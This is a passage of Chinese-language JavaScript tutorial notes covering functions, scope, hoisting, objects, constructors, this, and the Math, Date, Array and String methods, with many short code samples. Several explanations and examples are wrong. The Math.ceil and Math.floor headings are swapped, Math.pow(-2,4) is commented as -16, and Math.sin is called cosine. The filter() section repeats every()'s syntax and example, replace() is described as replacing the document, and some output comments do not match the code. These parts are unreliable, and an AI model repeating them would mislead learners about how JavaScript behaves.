sayHello(); // 求1-100的和 function getSum() { var sum = 0; for (var i = 1; i <= 100; i++) { sum += i; } console.log(sum); } // 调用 getSum(); 函数的参数 语法结构: // 函数内部是一个封闭的环境,可以通过参数的方式,把外部的值传递给函数内部 // 带参数的函数声明 function 函数名(形参1, 形参2, 形参...){ // 函数体 } // 带参数的函数调用 函数名(实参1, 实参2, 实参3); 形参与实参: 形参:在声明函数的时候,为了函数的功能更加灵活,有些值是固定不了的,对于这些固定不了的值,我们可以设置形参。这些参数没有具体的值,仅仅起到一个占位置的作用,我们通常称之为形式参数,也叫形参。 实参:如果函数在声明时,设置了形参,那么在函数调用的时候就要传入对应的参数,我们把传入的参数叫实际参数,也叫实参。 var x = 5, y = 6; fn(x,y); function fn(a, b) { console.log(a + b); } //x,y实参,有具体的值。函数执行的时候会把x,y复制一份给函数内部的a和b,函数内部的值是复制的新值,无法修改外部的x,y 函数的返回值 当函数执行完的时候,并不是所有时候都要把结果打印。我们期望函数给我一些反馈(比如计算的结果 返回进行后续的运算),这个时候可以让函数返回一些东西。也就是返回值。函数通过return返回一个 返回值 返回值语法: //声明一个带返回值的函数 function 函数名(形参1, 形参2, 形参...){ //函数体 return 返回值; } //可以通过变量来接收这个返回值 var 变量 = 函数名(实参1, 实参2, 实参3); 函数的调用结果就是返回值,因此我们可以直接对函数调用结果进行操作。 返回值详解: 如果函数没有显示的使用 return语句 ,那么函数有默认的返回值:undefined 如果函数使用 return语句,那么跟再return后面的值,就成了函数的返回值 如果函数使用 return语句,但是return后面没有任何值,那么函数的返回值也是:undefined 函数使用return语句后,这个函数会在执行完 return 语句之后停止并立即退出,也就是说return后 面的所有其他代码都不会再执行。 推荐的做法是要么让函数始终都返回一个值,要么永远都不要返回值 arguments的使用 JavaScript中,arguments对象是比较特别的一个对象,实际上是当前函数的一个内置属性。也就是说 所有函数都内置了一个arguments对象,arguments对象中存储了传递的所有的实参。 arguments 可以获取所有实参 arguments.length 获取实参的个数 arguments[i] 获取实参的值 //求任意数的和 function sum2(){ //可以获取所有实参 arguments.length 获取实参的个数 var sum = 0; for (var i = 0; i < arguments.length; i++) { sum += arguments[i]; } return sum; } console.log(sum2(2,35,6,8)); 匿名函数 匿名函数:没有名字的函数 匿名函数如何使用: 将匿名函数赋值给一个变量,这样就可以通过变量进行调用 //定义匿名函数 var f1 = function(){ return 'aaaaa'; }; console.log(f1()); 匿名函数自调用 //自调用函数 一次性,注意函数本身需加小括号才可以执行 js开发过程多用这种方式,命名函数在条件语句中有兼容问题 (function(){ console.log('aaaaaa'); })(); 关于自执行函数(匿名函数自调用)的作用:防止全局变量污染 //函数重名会覆盖上一函数,所以两次输出的结果相同 function a(){ console.log('你真好看'); } a(); function a(){ console.log('我真好看'); } a(); //匿名函数用var是声明变量,第二次不用var是给变量赋值,所以两次输出结果不一样 var b = function(){ console.log('你真好看'); }; b(); b = function(){ console.log('我真好看'); }; b(); 函数是一种数据类型 函数可以作为参数 可以把函数当做另一个函数的参数,在另一个函数中调用。此时作为参数的函数叫做回调函数(callback) //函数作为参数 function fn (fname) { fname();//a() } //命名函数作为参数 function a () { console.log('cccc'); } fn(a); //匿名函数作为参数 fn(function () { console.log('匿名函数'); }) var f = function () { console.log('将匿名函数赋值给变量f'); } fn(f);//先声明变量再调用,否则会报错。变量是先声明再赋值,而函数可以在任意位置调用,当fn(f)在声明f之前使用时,会出现函数名不能是函数的错误 函数可以作为返回值 可以把函数作为返回值从函数内部返回。调用时需要在后边加() //函数作为返回值 function freturn () { console.log('aaaa'); //return 将数据返回调用处,此时返回的是函数 return function () { console.log('bbbb'); } } //调用函数,因为返回值是一个函数,要想得到函数的值需要在后边再加括号 freturn()(); 回调函数的应用 //回调函数 callback /* 功能:计算两个数值 参数:第一个值,第二个值, fn 函数,第一个值与第二个值作为 fn 函数的参数 返回值:返回计算结果 */ function f1(a, b, fn) { return fn(a, b); } console.log(f1(1, 2, sum)); function sum (a, b) { return a + b; } 作用域 作用域:函数可以起作用的范围。 (1)全局变量和局部变量 局部作用域:函数体内 全局作用域:整个脚本,即函数内外都起作用 全局变量:在函数体外部由 var 定义的,在任何地方都可以访问的变量 局部变量:在函数体内用 var 定义的,只在函数内使用变量 隐式全局变量:不用 var 定义的变量,函数体内外都可以定义。在任何地方都可以访问 注意: 不使用var声明的变量是全局变量,不推荐使用。=变量退出作用域后会被销毁,全局变量关闭网页或浏览器才会销毁。 隐式全局变量与全局变量的区别: 隐式全局变量可以删除,而全局变量不可以删除,只有关闭浏览器或页面时才会销毁。 //全局变量: 在函数体外,由关键字var声明的变量 //全局作用域:整个脚本,即函数内外都起作用 var a = 'aaa'; function aa () { console.log(a);//函数体内调用变量 a } aa(); console.log(a); //函数体外调用变量 a //局部变量:在函数体内,由 var 声明的变量 //局部作用域:只在函数体内起作用 function bb () { var b = 'bbbb'; console.log(b);//函数体内调用 输出 bbbb } bb(); //console.log(b);//报错 在函数体外调用会,指出变量不存在 //隐式全局变量 声明变量,但是没有 var 。作用域函数内外都可 //隐式全局变量与全局变量的区别,隐式全局变量可以删除,而全局变量不能删除,只有在关闭网页或浏览器时才会销毁 c = 'cccc'; console.log(c); //函数体外调用 返回 cccc function cc () { console.log(c); //函数体内调用 返回 cccc } cc(); delete c;//删除隐式全局变量 //console.log(c);//报错,说变量不存在。说明删除成功 delete a; console.log(a+'删除全局变量失败');//aaa删除全局变量失败 正常输出a的值,说明没有删除变量 (2)块级作用域 任意一个花括号内的语句集都属于一个块,其中定义的所有变量在代码块外都是不可见的,我们称之为块级作用域。==在ES5之前没有块级作用域的概念,只有函数作用域。==ES6中才有块级作用域 (3)词法作用域 变量的作用域是在定义时决定而不是执行时决定,也就是说词法作用域取决于源码,通过静态分析就能 确定,因此词法作用域也叫做静态作用域 在js中词法作用域规则: 函数允许访问函数外的数据. 整个代码结构中只有函数可以限定作用域. 作用域规则首先使用提升规则分析 如果当前作用规则中有名字了, 就不考虑外面的名字。即当局部变量与全局变量同名时,采用局部变量 var num = 123; //全局变量 function foo() { console.log( num ); } foo(); // 123 if ( false ) { //条件是假区间,永远走不进区间里,不会声明变量 num var num = 123; } console.log( num ); // undefiend (4)作用域链 只有函数可以制造作用域结构, 那么只要是代码,就至少有一个作用域, 即全局作用域。凡是代码中有函 数,那么这个函数就构成另一个作用域。如果函数中还有函数,那么在这个作用域中就又可以诞生一个作用 域。 将这样的所有的作用域列出来,可以有一个结构: 函数内指向函数外的链式结构。就称作作用域链。 function f1() { var num = 123; //局部变量,就近原则 function f2() { console.log( num ); } f2(); //返回 num = 123 } var num = 456; //全局变量 f1();//函数值返回调用处,所以不会走到重新声明 num 的语句 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x8lXAGpL-1574402375863)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\1570718544910.png)] 预解析**** JavaScript代码的执行是由浏览器中的JavaScript解析器来执行的。JavaScript解析器执行JavaScript代码 的时候,分为两个过程:预解析过程和代码执行过程 预解析过程(提升规则): 把变量的声明提升到当前作用域的前面,只会提升声明,不会提升赋值。 把函数的声明提升到当前作用域的前面,只会提升声明,不会提升调用。 先提升var,再提升function 执行过程 b(); var a = 1; function b () { console.log(a); } //预解析过程 /* var a; function b () { console.log(a); } b(); a = 1; */ f1(); console.log(c); console.log(b); console.log(a); function f1() { var a = b = c = 9; console.log(a); console.log(b); console.log(c); } //预解析过程 以下代码为上述代码解析后的样式,执行将按这个顺序 /*function f1() { var a; a = 9;//局部变量 b = 9;//隐式全局变量 c = 9;//隐式全局变量 console.log(a); //9 console.log(b); //9 console.log(c); //9 } f1(); console.log(c); //9 console.log(b); //9 console.log(a); //报错 */ var a = 25; function abc (){ alert(a);//undefined var a = 10; } abc(); //预解析过程 /* var a; function abc (){ var a; alert(a);//undefined a = 10; } a = 25; abc(); */ // 如果变量和函数同名的话,函数优先 console.log(a); function a() { console.log('aaaaa'); } var a = 1; console.log(a); //预解析过程 /* var a; function a() { console.log('aaaaa'); } console.log(a); //返回值为函数本身 a = 1; console.log(a); //1 */ 练习 //返回两个数中的最大值 function max(a,b){ if(a > b){ document.write("最大值为" + a); }else{ document.write("最大值为" + b); } } max(10, 20); 对象 什么是对象 现实生活中:万物皆对象,对象是一个具体的事物,一个具体的事物就会有行为和特征。 举例: 一部车,一个手机 车是一类事物,门口停的那辆车才是对象 特征:红色、四个轮子 行为:驾驶、刹车 **JavaScript中的对象是无序属性的集合。**可以把js对象想象成键值对,其中值可以是数据和函数。 对象的行为和特征 特征:属性 行为:方法 内建对象:Array, Math, Date等 宿主对象:由浏览器提供的预定义对象。如image、form、Element等。 创建对象 语法结构: (1)对象字面量 语法结构: var 对象名 = {} 案例: var obj = {}; obj.name = '章'; obj.age = 18; obj.sex = '女'; obj.say = function () { console.log('说话'); } console.log(obj); //优化写法 var o = { name: 'zs, age: 18, sex: true, sayHi: function () { console.log(this.name); } }; (2)构造函数方式创建 a:系统内置构造函数 new Object() var person = new Object(); person.name = 'lisi'; person.age = 35; person.job = 'actor'; person.sayHi = function(){ console.log('Hello,everyBody'); } b:工厂函数创建对象 function createPerson(name, age, job) { var person = new Object(); person.name = name; person.age = age; person.job = job; person.sayHi = function(){ console.log('Hello,everyBody'); } return person; } var p1 = createPerson('张三', 22, 'actor'); (3)自定义构造函数 构造函数 构造函数是一种特殊的函数,主要用来在创建对象时初始化对象,即为对象的成员属性赋初值。 注意事项: (1)构造函数用于创建一类对象,首字母要大写; (2)构造函数要和new一起用才有意义。 new在执行时会做四件事: (1)在内存中创建一个空的对象; (2)让this指向这个新对象; (3)执行构造函数,目的是给这个对象添加属性和方法; (4)返回这个新对象。 function Person(name,age,job){ this.name = name; this.age = age; this.job = job; this.sayHi = function(){ console.log('Hello,everyBody'); } } var p1 = new Person('张三', 22, 'actor'); this详解 JavaScript中的this指向问题,有时候会让人难以捉摸,随着学习的深入,我们可以逐渐了解。现在我们需要掌握函数内部的this几个特点 函数在定义的时候this是不确定的,只有在调用的时候才可以确定 一般函数直接执行,内部this指向全局window 函数作为一个对象的方法,被该对象所调用,那么this指向的是该对象 构造函数中的this其实是一个隐式对象,类似一个初始化的模型,所有方法和属性都挂载到了这个 隐式对象身上,后续通过new关键字来调用,从而实现实例化 对象的属性与方法 属性:对象的特征 变量 方法:对象的行为 函数 可以使用下面两种方式访问对象的属性和方法 1.对象名.属性名 对象名.方法名() 2.对象名[“属性名”] 对象名 [‘方法名’] () 两者的区别: 对于已经存在的属性和方法,用.和用[]得到的结果一致、 对于不存在(未定义)的属性和方法,用.会创建这个新的属性或方法,而用[]的方式访问不会创建新的属性或方法 var obj = new Object(); //console.log(typeof obj); //给对象添加属性 对象.属性名 = 值 obj.name = 'hanxu'; obj.age = 10; obj.sex = 'll'; obj.hair = false; obj.eye = 'three';//给对象添加方法 函数 对象.函数名 = 函数 obj.sleep = function(){ console.log('天天睡觉,回家放羊吧!!!'); } obj.eat = function () { console.log('做梦吃烤全羊'); } //获取对象属性 console.log(obj.name); console.log(obj.age); obj.eat(); //两种访问 方式的区别 var obj = { name : "小明", age : 18, say : function(){ console.log("我是"+this.name+"我"+this.age+"岁"); } }; //对比 . 与 [] 的区别 for(var x in obj){ console.log(x); //输出obj中的属性名,方法名 console.log(obj.x);//想要用.的方法输出对应的属性和方法 结果是undefined,原因在于JS语言中.方法可以用来声明,声明对象属性的方式就是属性名.属性值 } for (var key in obj) { console.log(key);//输出obj中的属性名,方法名 console.log(obj[key]);//输出对应的属性值和方法,方法未调用所以输出的是方法的代码 } 遍历对象的属性 通过for…in语法可以遍历一个对象 For…In 声明用于遍历数组或者对象的属性(对数组或者对象的属性进行循环操作)。 for … in 循环中的代码每执行一次,就会对数组的元素或者对象的属性进行一次操作。 语法结构: for (变量 in 对象) { 在此执行代码 } 变量”用来指定变量,指定的变量可以是数组元素,也可以是对象的属性。 var obj = {}; for (var i = 0; i < 10; i++) { obj[i] = i * 2; } for(var key in obj) { console.log(key + "==" + obj[key]); } 删除对象的属性 语法结构: delete 对象.属性名 function fun() { this.name = 'mm'; } var obj = new fun(); console.log(obj.name); // mm delete obj.name; console.log(obj.name); // undefined 内置函数 Math Math对象不是构造函数,它具有数学常数和函数的属性和方法,都是以静态成员的方式提供 。 使用的时候不需要new (1)Math.PI – 算数常量 π 语法结构: Math.Pi console.log(Math.PI);//3.141592653589793 表示的是常量 π 或 pi,即圆的周长和它的直径之比,这个值近似为3.14159265358979。 因为是常量,所以后边没有小括号 (2)Math.random – 生成随机数 语法结构: Math.random() console.log(Math.random()); 返回值 返回一个0.0 和 1.0之间的一个伪随机数。 获取n-m之间的随机数 function rand(n, m) { return Math.round(Math.random()*(n-m)+m); } (3)Math.ceil – 向下取整 语法结构: Math.ceil(x) //向下取整/进一法取整 解释说明 Math.ceil() 执行的是向上取整计算,它返回的是大于等于函数参数,并且与之最接近的整数。需要注意的是, Math.ceil()不会将负数舍人为更小的负数,而是向0舍入。 参数 x 任意的数值或表达式。 返回值 大于等于x,并且与它最接近的整数。 示例: `a = Math.ceil(1.99); // 结果是 2.0 b = Math.ceil(1.01); // 结果是 2.0 c = Math.ceil(1.0); // 结果是 1.0 d = Math.ceil(-1.99); // 结果是 -1.0 ` (4)Math.floor – 向上取整 语法结构: `Math.floor(*x*)` 描述 Math.floor()执行的是向上取整计算,它返回的是小于等于函数参数,并且与之最接近的整数。 Math.floor()将一个浮点值下舍人为最接近的整数。Math.floor()执行的操作不同于Math.round(),它总是进行下舍人,而不是上舍入或下舍人到最接近的整数。还要注意,Math.floor()将负数舍入为更小的负数,而不是向0进行舍入。 参数 x 任意的数值或表达式。 返回值 小于等于x,并且与它最接近的整数。 示例: console.log( Math.floor(1.99)); // 结果为1 console.log( Math.floor(1.01)); // 结果为1 console.log( Math.floor(1.0)); // 结果为1 console.log( Math.floor(-1.01)); // 结果为-2 (5)Math.round() – 四舍五入 语法结构: `Math.round(*x*)` 描述 Math.round( )将把它的参数上舍入或下舍入到与它最接近的整数。注意对于0.5,它将向上舍入。例如,2.5将被舍入为3,-2.5将被舍入为-2。 console.log(Math.round(5.6));//6 console.log(Math.round(5.1));//5 console.log(Math.round(5.5));//6 console.log(Math.round(-5.1));//-5 console.log(Math.round(-5.6));//-6 console.log(Math.round(-5.5));//-5 (6)Math.abs( ) – 求绝对值 console.log(Math.abs(5.6));//5.6 console.log(Math.abs(-5.6));//5.6 console.log(Math.abs(6));//6 (7)Math.max – 最大值 Math.min – 最小值 语法结构: `Math.max(*args...*)` 参数 args 0个或多个值。在ECMAScriptv3之前,该方法只有两个参数。 返回值 Math.max() 返回参数中最大的值。如果没有参数,返回-Infinity。如果有一个参数为NaN,或是不能转换成数字的非数字值,则返回 NaN。 Math.min() 返回参数中最小的值。如果没有参数,返回Infinity。如果有一个参数为NaN,或是不能转换成数字的非数字值,则返 NaN。 示例: console.log(Math.min(1,4,7,9));// 1 console.log(Math.max(1,4,7,9));// 9 console.log(Math.max(1,4,7,9,'av'));// NaN console.log(Math.min(1,4,7,9,'av'));//NaN console.log(Math.min());//Infinity console.log(Math.max());//-Infinity (8)Math.sin() – 正弦 Math.cos() – 余弦 语法结构: `Math.cos(*x*)` 参数 x 一个角的弧度值。要把角度转换成弧度,只需把角度值乘以(2π/360)。 返回值 Math.cos() 指定的值x的余弦值。返回的是-1.0 和 1.0. Math.sin() 指定的值x的余弦值。返回的是-1.0 和 1.0. (9)Math.pow – 求指数次幂 Math.sqrt() – 求平方根 语法结构: `Math.pow(*x*, *y*) ` 描述 Math.pow() 如果结果是虚数或负数,则该方法将返回 NaN。如果由于指数过大而引起浮点溢出,则该方法将返回 Infinity 参数 Math.pow() x 必需。底数,必须是数字 y 必需。幂数,必须是数字 Math.sprt() x 必须。必须是大于等于 0 的数 返回值 Math.pow() 返回x 的 y 次幂。 Math.sprt() 返回参数 x 的平方根。如果 x 小于 0,则返回 NaN。 //Math.pow() document.write(Math.pow(0,0) + "<br />");//1 document.write(Math.pow(0,1) + "<br />");//0 document.write(Math.pow(1,1) + "<br />");//1 document.write(Math.pow(1,10) + "<br />");//1 document.write(Math.pow(2,3) + "<br />");//8 document.write(Math.pow(-2,3) + "<br />");//-8 document.write(Math.pow(2,4) + "<br />");//16 document.write(Math.pow(-2,4) + "<br />");//-16 //Math.sprt() document.write(Math.sqrt(0) + "<br />")//0 document.write(Math.sqrt(1) + "<br />")//1 document.write(Math.sqrt(9) + "<br />")//3 document.write(Math.sqrt(0.64) + "<br />")//0.8 document.write(Math.sqrt(-9))//NaN (8)toFixed() 方法可把 Number 四舍五入为指定小数位数的数字。 (9)案例 // 10 - 20 之间的随机数 var rand = Math.floor(Math.random()*10+10); console.log(rand); //随机生成颜色RGB function getRandColor () { var colorValue = [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']; var s = '#'; for (var i = 0; i < 6; i++) { s += colorValue[Math.floor(Math.random()*16)]; } return s; } document.write(getRandColor ()); Date 对象 创建 Date 实例用来处理日期和时间。Date 对象基于1970年1月1日(世界标准时间)起的毫秒数。 (1)创建 Date 对象的语法: var myDate = new Date(); //获取当前日期的时间戳 var now = new Date(); //console.log(now); 默认是返回时间的英文格式 // valueOf用于获取对象的时间戳 console.log(now.valueOf()); // HTML5中提供的方法,有兼容性问题 var now = Date.now(); // 返回毫秒数 // 不支持HTML5的浏览器,可以用下面这种方式 var now = + new Date(); // 调用 Date对象的valueOf() (2)Date 构造函数的参数 毫秒数 1498099000356 new Date(1498099000356) 日期格式字符串 ‘2015-5-1’ new Date(‘2015-5-1’) 年、月、日…… new Date(2015, 4, 1) // 月份从0开始 //获取指定时间 var now = new Date(2015,0,6);//不加引号月份从0开始 var now1 = new Date('2015,1,6');//加引号月份从1开始 var now2 = new Date('2015-1-6');//同上 console.log(now); console.log(now1); console.log(now2); (3)格式化日期的方法 toString() // 转换成字符串 valueOf() // 获取毫秒值 // 下面格式化日期的方法,在不同浏览器可能表现不一致,一般不用 toDateString() //英文模式 toTimeString() //中国时间,时分秒 toLocaleDateString() //年/月/日 toLocaleTimeString() //下午 时分秒 //获取 年-月-日 时:分:秒(需要判断去掉 上/下午) dd.toLocaleDateString() + dd.toLocaleTimeString() 示例: var now = new Date('2015-01-15'); console.log(now.toDateString()); //Thu Jan 15 2015 console.log(now.toTimeString()); //08:00:00 GMT+0800 (中国标准时间) console.log(now.toLocaleDateString());//2015/1/15 console.log(now.toLocaleTimeString());//上午8:00:00 (4)Date 对象的方法 getTime() // 返回毫秒数和valueOf()结果一样,valueOf()内部调用的getTime() getMilliseconds() getSeconds() // 返回秒 0-59 getMinutes() // 返回分 0-59 getHours() // 返回时 0-23 getDay() // 返回星期几 0代表周日 6代表周6 getDate() // 返回当前月的第几天 getMonth() // 返回月份,从0开始 getFullYear() //返回4位的年份 如 2016 toDateString() //英文模式 toTimeString() //中国时间,时分秒 toLocaleDateString() //年/月/日 toLocaleTimeString() //下午 时分秒 示例: var now = new Date('2019-10-15 06:00:05'); console.log(now.getTime());//获取时间戳 console.log(now.getSeconds());//获取指定时间的秒 console.log(now.getMinutes());//获取指定时间的分 console.log(now.getHours());//获取指定时间的分 console.log(now.getDay());//获取指定日期是星期几 console.log(now.getDate());//获取指定日期是当月的第几天 console.log(now.getMonth());//获取指定日期的月份,从0开始 console.log(now.getFullYear());//获取指定日期的四位数年份 // 去掉获取时间格式的 上下午 var time = new Date().toLocaleTimeString(); function conversionTime (time) { var daytime = time.substring(0,2);//截取汉字上下午 var currentTime = time.substring(2,time.length);//截取除上下午之外的时间 var timeList = currentTime.split(':');//转化为数组 console.log(timeList); if (daytime === '下午' && timeList[0] <= 12) { //对下午时间进行操作 timeList[0] = *Number*(timeList[0]) + 12;//第0个元素为当前小时数 + 12 currentTime = timeList.toString().replace(/,/g,';');//toString 将数组拼接成字符串 } return currentTime; } console.log(conversionTime (time)); 练习: 获取某月有多少天? 思路: new Date() 第三个参数默认为 1,就是每个月的 1 号,把它设置为 0 时,new Date() 会返回上一个月的最后一天,然后通过 getDate() 方法得到天数,所以month 的值本应该是 +1。但是需要注意的是,Date 函数中的月份是从 0 开始的,所以这里直接用 month的值即可。 //获取某月有多少天 function getMonthDay (year, month) { var days = new Date(year,month,0).getDate(); return days; } console.log(getMonthDay(2019,5)); Array() 其他数组函数见 第9章 数组 中的数组常用函数 every() – 检测数组所有元素是否都符合指定条件 语法结构: bool array.every(function(currentValue[,index,arr]), thisValue) 描述/返回值 如果数组中检测到有一个元素不满足,则整个表达式返回 false ,且剩余的元素不会再进行检测 如果所有元素都满足条件,则返回true 参数 function 必须是函数。数组中的每个元素都会执行这个函数. ​ 函数的参数:currentValue 必选 当前元素的值。 ​ index 可选 当前元素的索引值。 ​ arr 可选 当前元素所属的数组对象 thisValue 可选。对象作为该执行回调时使用,传递给函数,用作 “this” 的值。 如果省略了 thisValue ,“this” 的值为 “undefined” 注意: every() 不会对空数组进行检测 every() 不会改变原始数组 示例: var eArr = [1,8]; function check (eArr) { return eArr >= 7; } document.write(eArr.every(check)); 检测一个对象是否是数组 instanceof Array.isArray() HTML5中提供的方法,有兼容性问题 函数的参数,如果要求是一个数组的话,可以用这种方式来进行判断 toString()/valueOf() toString() 把数组转换成字符串,逗号分隔每一项 valueOf() 返回数组对象本身 数组常用函数 见数组章节 后续补充 some()是对数组中每一项运行给定函数,如果该函数对任一项返回true,则返回true。 用法,参数,返回值同every() every()与some()方法都是JS中数组的迭代方法。 every()是对数组中每一项运行给定函数,如果该函数对每一项返回true,则返回true。 filter() – 方法创建一个新的数组,新数组中的元素是通过检查指定数组中符合条件的所有元素。 语法结构: bool array.every(function(currentValue[,index,arr]), thisValue) 参数 function 必须是函数。数组中的每个元素都会执行这个函数. ​ 函数的参数:currentValue 必选 当前元素的值。 ​ index 可选 当前元素的索引值。 ​ arr 可选 当前元素所属的数组对象 thisValue 可选。对象作为该执行回调时使用,传递给函数,用作 “this” 的值。 如果省略了 thisValue ,“this” 的值为 “undefined” 注意: every() 不会对空数组进行检测 every() 不会改变原始数组 返回值 返回数组,包含了符合条件的所有元素。如果没有符合条件的元素则返回空数组。 示例: var eArr = [1,8]; function check (eArr) { return eArr >= 7; } document.write(eArr.every(check)); forEach() – 遍历数组用于调用数组的每个元素,并将元素传递给回调函数。 语法结构: undeifined array.forEach(function(currentValue, index, arr), thisValue) 参数 参数 描述 function(currentValue, index, arr) 必需。 数组中每个元素需要调用的函数。 函数参数: 参数 描述 currentValue 必需。当前元素 index 可选。当前元素的索引值。 arr 可选。当前元素所属的数组对象。 thisValue 可选。传递给函数的值一般用 “this” 值。 如果这个参数为空, “undefined” 会传递给 “this” 值 返回值 undeifined 注意: forEach() 对于空数组是不会执行回调函数的。 示例: var numbers = [65, 44, 12, 4]; numbers.forEach(function(ele,index){ console.log(index+'--'+ele); }); map() – 让数组中的元素依次执行回调函数,并将结果返回 String() 字符串可以看成是一组字符组成的数组 特性:值不可变 可访问 获取 不可修改 (1)String 对象的不可变性 当重新给str赋值的时候,常量’abc’不会被修改,依然在内存中 重新给字符串赋值,会重新在内存中开辟空间,这个特点就是字符串的不可变性 由于字符串的不可变,在大量拼接字符串的时候会有效率问题 (2)创建字符串对象 var str = new String('Hello World'); // 获取字符串中字符的个数 console.log(str.length); (3)字符串对象的常用方法 字符串所有的方法,都不会修改字符串本身(字符串是不可变的),操作完成会返回一个新的字符串 // 1 字符方法 charAt() //获取指定位置处字符 charCodeAt() //获取指定位置处字符的ASCII码 str[0] //HTML5,IE8+支持 和charAt()等效 // 2 字符串操作方法 concat() //拼接字符串,等效于+,+更常用 slice(start,end) //从start位置开始,截取到end位置,end取不到,负数代表从后开始取 substring(start,end) //从start位置开始,截取到end位置,end取不到 //slice 与 substring 的不同之处是 slice 参数可以是负数,而substring参数不可以是负数 substr(start,length) //从start位置开始,截取length个字符 // 3 位置方法 indexOf() //返回指定内容在元字符串中的位置 lastIndexOf() //从后往前找,只找第一个匹配的 // 4 去除空白 trim() //只能去除字符串前后的空白 // 5 大小写转换方法 to(Locale)UpperCase() //转换大写 to(Locale)LowerCase() //转换小写 // 6 其它 search(reg/str) //用于检索字符串中指定的子字符串,或检索与正则表达式相匹配的子字符串。查不到返回-1,查到返回0或大于0的数 replace(要替换的字符,替换成的字符) //可用一个新文档取代当前文档。 split(分隔符[,截取的长度]) //把一个字符串分割成字符串数组。 fromCharCode() // String.fromCharCode(101, 102, 103); //把ASCII码转换成字符串 示例: //字符串相关方法 字符串方法不改变原字符串 //.charAt(index) 返回字符串指定字符 var str = 'abfWFRGfag4dd'; console.log(str.charAt(3));//d //.charCodeAt(index) 对应字符 ASCII 表 或 UTF系列 中数据 console.log(str.charCodeAt(3));//100 //concat 连接多个字符串 var str1 = '123'; var str2 = '456'; console.log(str.concat(str2,str1));//abfds3fag4dd456123 console.log(str.concat(str1,str2));//abfds3fag4dd123456 //indexOf(str, fromIndex) 寻找指定字符的位置 从前向后去搜索 如果找到则返回对应的索引位置 如果没有找到返回-1 // 如果没给第二个参数 默认从0开始 如果指定第二个参数 从指定开始向后找 // 包含当前fromIndex console.log(str.indexOf('f'));//2 console.log(str.indexOf('f',3));//5 //lastIndexOf() 同上,从后向前找 console.log(str.lastIndexOf('f'));//5 console.log(str.lastIndexOf('f',4));//5 //replace(要替换的字符串,替换成什么) 只能改变第一个符合条件的字符,如果向改变所有字符需要用正则 console.log(str.replace('a','我'));//我bfdsfag4dd console.log(str.replace(/a/g,'我'));//我bfdsf我g4dd //slice(start[,end]) 从start到end(不包含end)值间取出 取出一部分 新的字符串 并返回这部分字符串 取注意 取到end之前不包含end console.log(str.slice(2,4));//fd //split(分隔符[,分隔后取几个]) 返回数组 var ss = 'aa | bb | cc | dd'; console.log(ss.split('|')); console.log(ss.split('|',1)); //substr(startindex [,length]) //substring(startIndex [,endIndex]) 注意:不包含endIndex console.log(str.substr(2,3));//fds console.log(str.substring(2,3));//f //toLowerCase() 常用 //toLocaleLowerCase() 包含语言比较多 //toUpperCase() //toLocaleUpperCase(); console.log(str.toLowerCase()); console.log(str.toLocaleLowerCase()); console.log(str.toUpperCase()); console.log(str.toLocaleUpperCase()); //.trim()去除字符串两端留白 var st = ' --dsf-- '; console.log(st); console.log(st.trim()); a: slice() – 提取字符串的某个部分,并以新的字符串返回被提取的部分。 stringObject.slice(start,end) 参数 描述 start 要抽取的片断的起始下标。如果是负数,则该参数规定的是从字符串的尾部开始算起的位置。也就是说,-1 指字符串的最后一个字符,-2 指倒数第二个字符,以此类推。 end 紧接着要抽取的片段的结尾的下标。若未指定此参数,则要提取的子串包括 start 到原字符串结尾的字符串。如果该参数是负数,那么它规定的是从字符串的尾部开始算起的位置。 返回值 一个新的字符串。包括字符串 stringObject 从 start 开始(包括 start)到 end 结束(不包括 end)为止的所有字符。 说明 String 对象的方法 slice()、substring() 和 substr() (不建议使用)都可返回字符串的指定部分。slice() 比 substring() 要灵活一些,因为它允许使用负数作为参数。slice() 与 substr() 有所不同,因为它用两个字符的位置来指定子串,而 substr() 则用字符位置和长度来指定子串。 还要注意的是,String.slice() 与 Array.slice() 相似。 var str="Hello happy world!" document.write(str.slice(6))//happy world! b:split() – 把字符串分隔成数组 stringObject.split(separator,howmany) 参数 描述 separator 必需。字符串或正则表达式,从该参数指定的地方分割 stringObject。 howmany 可选。该参数可指定返回的数组的最大长度。如果设置了该参数,返回的子串不会多于这个参数指定的数组。如果没有设置该参数,整个字符串都会被分割,不考虑它的长度。 返回值 一个字符串数组。该数组是通过在 separator 指定的边界处将字符串 stringObject 分割成子串创建的。返回的数组中的字串不包括 separator 自身。 但是,如果 separator 是包含子表达式的正则表达式,那么返回的数组中包括与这些子表达式匹配的字串(但不包括与整个正则表达式匹配的文本)。 注释: 如果把空字符串 ("") 用作 separator,那么 stringObject 中的每个字符之间都会被分割。 String.split() 执行的操作与 Array.join 执行的操作是相反的。 var str="How are you doing today?" document.write(str.split(" ") + "<br />")//How,are,you,doing,today? document.write(str.split("") + "<br />")//H,o,w, ,a,r,e, ,y,o,u, ,d,o,i,n,g, ,t,o,d,a,y,? document.write(str.split(" ",3))//How,are,you 练习 //截取字符串"我爱中华人民共和国",中的"中华" var s = "我爱中华人民共和国"; s = s.substr(2,2); console.log(s); //"aobocoddddgho"查找字符串中所有o出现的位置 var s = 'abcoefoxyozzopp'; var array = []; do { var index = s.indexOf('o', index + 1); if (index != -1) { array.push(index); } } while (index > -1); console.log(array); //把字符串中所有的o替换成! var s = 'abcoefoxyozzopp'; do { s = s.replace('o', ''); } while (s.indexOf('o') > -1); console.log(s); console.log(s.replace(/o/ig, '')); 基本包装类型 为了方便操作基本数据类型,JavaScript还提供了三个特殊的引用类型:String/Number/Boolean 即字符串、数字、布尔在使用对象的 ( . ) 方法访问其方法或属性时,会自动转成类对象的模式,这种类型被称为基本包装类型。 特点是:基本包装类型是暂时的,并没有改变的数据类型,使用结束后即销毁。 Number和Boolean基本包装类型基本不用,使用的话可能会引起歧义 // 下面代码的问题? // s1是基本类型,基本类型是没有方法的 var s1 = 'zhangsan'; var s2 = s1.substring(5); // 当调用s1.substring(5)的时候,先把s1包装成String类型的临时对象,再调用substring方法, 后销毁临时对象, 相当于: var s1 = new String('zhangsan'); var s2 = s1.substring(5); s1 = null; // 创建基本包装类型的对象 var num = 18; //数值,基本类型 var num = Number('18'); //类型转换 var num = new Number(18); //基本包装类型,对象 // Number和Boolean基本包装类型基本不用,使用的话可能会引起歧义。例如: var b1 = new Boolean(false); var b2 = b1 && true; console.log(b2); // 结果是 true,而交换两个操作数之后呢 var b3 = true && b1; console.log(b3); //Boolean{false},返回的是一个值为 false 的对象 JavaScript错误 语句 描述 try 测试代码块错误,包括语法错误、拼写错误、服务器或用户错误等等。 catch 处理错误语句 throw 